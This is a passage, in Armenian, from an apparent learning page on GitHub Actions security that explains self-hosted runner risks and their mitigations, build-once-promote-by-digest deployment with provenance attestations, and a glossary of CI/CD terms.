կշրջանցեն դրանք։
S2Որո՞նք են self-hosted runner-ների ռիսկերը, և ինչպե՞ս դրանք ապահով աշխատեցնել։
Runner-ը կատարում է այն, ինչ ասում է workflow-ը, ուստի փաստացի դա remote code execution է յուրաքանչյուրի համար, ով կարող է workflow գործարկել։ Ռիսկեր․ վնասակար pull request public ռեպոզիտորիայում, պահպանվածություն job-երի միջև (job-ը backdoor է թողնում, հաջորդ job-ի secret-ները գողացվում են) և կողային տեղաշարժ այն ցանցում, որտեղ գտնվում է runner-ը։ Ապահով շահագործումը նշանակում է․ երբեք public ռեպոզիտորիաներում, ժամանակավոր runner-ներ, որոնք վերցնում են ճիշտ մեկ job և ոչնչացվում, սովորաբար Actions Runner Controller-ով կամ autoscale արվող VM-ներով, runner խմբեր՝ սահմանափակված կոնկրետ ռեպոզիտորիաներով, նվազագույն ցանցային մուտք՝ egress վերահսկումով, runner host-ին կցված լայն իրավունքներով ամպային instance role-ի բացակայություն և image-ների պարբերական վերակառուցում։ Hosted runner-ների համեմատ փոխզիջումը մի կողմից վերահսկողությունն ու արժեքն է, մյուս կողմից՝ անվտանգության տեսանկյունից զգայուն մեքենաների պարկի սպասարկումը։
S3Ինչպե՞ս ես երաշխավորում, որ deploy արածդ հենց այն է, ինչ CI-ը թեստավորել է։
Build արա մեկ անգամ, promote արա բազմիցս։ CI-ը build է անում մեկ artifact, սովորաբար container image, այն tag-ավորում commit SHA-ով և push անում registry, հետո այնուհետև հղում անփոփոխ digest-ով։ Թեստերը աշխատում են այդ image-ի դեմ։ Staging-ի և production-ի deploy-ները pull են անում նույն digest-ը՝ վերակառուցելու փոխարեն, ուստի հնարավորություն չկա, որ հետո այլ dependency resolve լինի։ Ավելացրու provenance․ GitHub artifact attestation-ները (կառուցված Sigstore-ի վրա) թույլ են տալիս ստորագրել build provenance հայտարարություն, որը image-ի digest-ը կապում է workflow-ին, ռեպոզիտորիային և commit-ին։ Deploy step-ը կամ admission controller-ը ստուգում է attestation-ը մինչև աշխատեցնելը։ Գինը pipeline-ի որոշակի լրացուցիչ բարդությունն է և registry-ի պահեստը, իսկ օգուտը՝ commit-ից մինչև աշխատող կոդ ստուգելի շղթա, որը գնահատում են աուդիտորներն ու միջադեպերին արձագանքողները։
Բառարան
- Workflow
- YAML ֆայլ .github/workflows-ում, որը նկարագրում է ավտոմատ job-երը և դրանք գործարկող event-ները։
- Runner
- Մեքենան, որը կատարում է job-ը՝ GitHub-hosted VM կամ քո սեփական self-hosted մեքենան։
- Action
- Վերօգտագործվող, փաթեթավորված step, որը հղվում է uses:-ով, օրինակ՝ actions/checkout։
- GITHUB_TOKEN
- Ավտոմատ, կարճաժամկետ token ամեն run-ի համար, որի իրավունքները սահմանափակում ես workflow-ում։
- Environment
- Անվանված deploy թիրախ՝ իր secret-ներով և պաշտպանության կանոններով, օրինակ՝ պարտադիր review անողներ։
- OIDC
- OpenID Connect․ job-ը ստորագրված token-ով ապացուցում է իր ինքնությունը՝ ժամանակավոր ամպային credentials ստանալու համար։
- Matrix
- Ռազմավարություն, որը մեկ job-ը զուգահեռ աշխատեցնում է արժեքների բազմաթիվ համակցություններով։
- Artifact
- Run-ի արտադրած ֆայլ, որը upload է արվում հաջորդ job-երի կամ ներբեռնման համար։
- Reusable workflow
- workflow_call-ով գործարկվող workflow, որը մյուս workflow-ները կարող են կանչել որպես job։
Շարունակեք սովորել
Պրոդուկտի գաղափար ունե՞ք։Եկեք ստեղծենք այն։
Պատմեք ձեր գաղափարի, պրոդուկտի կամ թիմի մասին։ Սովորաբար պատասխանում եմ մեկ աշխատանքային օրվա ընթացքում։